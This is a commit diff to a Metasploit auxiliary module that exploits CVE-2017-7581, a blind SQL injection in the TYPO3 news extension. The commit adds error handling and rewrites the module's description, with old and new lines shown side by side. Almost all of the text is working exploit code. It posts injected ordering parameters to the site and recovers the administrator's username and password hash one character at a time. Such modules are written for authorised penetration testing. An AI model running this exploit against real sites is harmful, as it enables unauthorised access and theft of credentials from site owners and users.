Added Error Handling

GSoC/Meterpreter_Web_Console
Jacob Robles 2018-03-14 08:16:17 -05:00
parent 1d51cf6d24
commit 9e23997c3d
No known key found for this signature in database
GPG Key ID: 3EC9F18F2B12401C
1 changed files with 63 additions and 49 deletions

View File

@ -12,34 +12,35 @@ class MetasploitModule < Msf::Auxiliary
super(update_info(info, super(update_info(info,
'Name' => 'TYPO3 News Module SQL Injection', 'Name' => 'TYPO3 News Module SQL Injection',
'Description' => %q{ 'Description' => %q{
This module exploits a SQL Injection vulnerability In TYPO3 NewsController.php This module exploits a SQL Injection vulnerability In TYPO3 NewsController.php
in the news module 5.3.2 and earlier, allows unauthenticated user to execute arbitrary in the news module 5.3.2 and earlier. It allows an unauthenticated user to execute arbitrary
SQL commands via vectors involving overwriteDemand for order and OrderByAllowed. SQL commands via vectors involving overwriteDemand and OrderByAllowed. The SQL injection
This essentially means an attacker can obtain user credentials hashes. can be used to obtain password hashes for application user accounts. This module has been
tested on TYPO3 3.16.0 running news extension 5.0.0.
This module tries to extract username and password hash of the administrator user. This module tries to extract username and password hash of the administrator user.
It tries to inject sql and check every letter of a pattern, to see It tries to inject sql and check every letter of a pattern, to see
if it belongs to the username or password it tries to alter the ordering of results. If if it belongs to the username or password it tries to alter the ordering of results. If
the letter doesn't belong to the word being extracted then all results are inverted the letter doesn't belong to the word being extracted then all results are inverted
(News #2 appears before News #1, so Pattern2 before Pattern1), instead if the letter belongs (News #2 appears before News #1, so Pattern2 before Pattern1), instead if the letter belongs
to the word being extracted then the results are in proper order (News #1 appers before News #2, to the word being extracted then the results are in proper order (News #1 appears before News #2,
so Pattern1 before Pattern2) so Pattern1 before Pattern2)
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => 'Author' =>
[ [
'Marco Rivoli', #MSF code 'Marco Rivoli', # MSF code
'Charles Fol' # initial discovery, POC 'Charles Fol' # initial discovery, POC
], ],
'References' => 'References' =>
[ [
[ 'CVE', '2017-7581' ], ['CVE', '2017-7581'],
[ 'URL', 'http://www.ambionics.io/blog/typo3-news-module-sqli' ], # Advisory ['URL', 'http://www.ambionics.io/blog/typo3-news-module-sqli'] # Advisory
], ],
'Privileged' => false, 'Privileged' => false,
'Platform' => ['php'], 'Platform' => ['php'],
'Arch' => ARCH_PHP, 'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]], 'Targets' => [['Automatic', {}]],
'DisclosureDate' => 'Apr 6 2017', 'DisclosureDate' => 'Apr 6 2017',
'DefaultTarget' => 0)) 'DefaultTarget' => 0))
@ -90,6 +91,7 @@ class MetasploitModule < Msf::Auxiliary
digit_charset, digit_charset,
patterns) patterns)
size = size.to_i - offset size = size.to_i - offset
vprint_status("Retrieving field '#{field}' string (#{size} bytes)...")
data = blind_size(field, data = blind_size(field,
table, table,
condition, condition,
@ -107,8 +109,6 @@ class MetasploitModule < Msf::Auxiliary
end end
def blind_size(field, table, condition, size, charset, patterns = {}) def blind_size(field, table, condition, size, charset, patterns = {})
vprint_status("Retrieving field '#{field}' string (#{size} bytes)...")
str = "" str = ""
for position in 0..size for position in 0..size
for char in charset.split('') for char in charset.split('')
@ -123,37 +123,53 @@ class MetasploitModule < Msf::Auxiliary
end end
def test(payload, patterns = {}) def test(payload, patterns = {})
res = send_request_cgi({ begin
'method' => 'POST', res = send_request_cgi({
'uri' => normalize_uri(target_uri.path,'index.php'), 'method' => 'POST',
'vars_get' => { 'uri' => normalize_uri(target_uri.path,'index.php'),
'id' => datastore['ID'], 'vars_get' => {
'no_cache' => '1' 'id' => datastore['ID'],
}, 'no_cache' => '1'
'vars_post' => { },
'tx_news_pi1[overwriteDemand][OrderByAllowed]' => payload, 'vars_post' => {
'tx_news_pi1[search][maximumDate]' => '', # Not required 'tx_news_pi1[overwriteDemand][OrderByAllowed]' => payload,
'tx_news_pi1[overwriteDemand][order]' => payload, 'tx_news_pi1[search][maximumDate]' => '', # Not required
'tx_news_pi1[search][subject]' => '', 'tx_news_pi1[overwriteDemand][order]' => payload,
'tx_news_pi1[search][minimumDate]' => '' # Not required 'tx_news_pi1[search][subject]' => '',
} 'tx_news_pi1[search][minimumDate]' => '' # Not required
}) }
return res.body.index(patterns[:pattern1]) < res.body.index(patterns[:pattern2]) })
rescue Rex::ConnectionError, Errno::CONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res and res.code == 200
return res.body.index(patterns[:pattern1]) < res.body.index(patterns[:pattern2])
else
return false
end
end end
def try_autodetect_patterns def try_autodetect_patterns
print_status("Trying to automatically determine Pattern1 and Pattern2...") print_status("Trying to automatically determine Pattern1 and Pattern2...")
res = send_request_cgi({ begin
'method' => 'POST', res = send_request_cgi({
'uri' => normalize_uri(target_uri.path,'index.php'), 'method' => 'POST',
'vars_get' => { 'uri' => normalize_uri(target_uri.path,'index.php'),
'id' => datastore['ID'], 'vars_get' => {
'no_cache' => '1' 'id' => datastore['ID'],
} 'no_cache' => '1'
}) }
news = res.get_html_document.search('div[@itemtype="http://schema.org/Article"]') })
pattern1 = defined?(news[0]) ? news[0].search('span[@itemprop="headline"]').text : '' rescue Rex::ConnectionError, Errno::ECONNRESET => e
pattern2 = defined?(news[1]) ? news[1].search('span[@itemprop="headline"]').text : '' print_error("Failed: #{e.class} - #{e.message}")
return '', ''
end
if res and res.code == 200
news = res.get_html_document.search('div[@itemtype="http://schema.org/Article"]')
pattern1 = defined?(news[0]) ? news[0].search('span[@itemprop="headline"]').text : ''
pattern2 = defined?(news[1]) ? news[1].search('span[@itemprop="headline"]').text : ''
end
if pattern1.to_s.eql?('') || pattern2.to_s.eql?('') if pattern1.to_s.eql?('') || pattern2.to_s.eql?('')
print_status("Couldn't determine Pattern1 and Pattern2 automatically, switching to user speficied values...") print_status("Couldn't determine Pattern1 and Pattern2 automatically, switching to user speficied values...")
@ -161,17 +177,15 @@ class MetasploitModule < Msf::Auxiliary
pattern2 = datastore['PATTERN2'] pattern2 = datastore['PATTERN2']
end end
print_status("Pattern1: #{pattern1}") print_status("Pattern1: #{pattern1}, Pattern2: #{pattern2}")
print_status("Pattern2: #{pattern2}")
return pattern1, pattern2 return pattern1, pattern2
end end
def run def run
pattern1, pattern2 = try_autodetect_patterns pattern1, pattern2 = try_autodetect_patterns
if pattern1 == '' or pattern2 == '' if pattern1 == '' or pattern2 == ''
print_error("Impossible to determine pattern automatically, aborting...") print_error("Unable to determine pattern, aborting...")
else else
print_status("Dumping the username and password hash...")
dump_the_hash(:pattern1 => pattern1, :pattern2 => pattern2) dump_the_hash(:pattern1 => pattern1, :pattern2 => pattern2)
end end
end end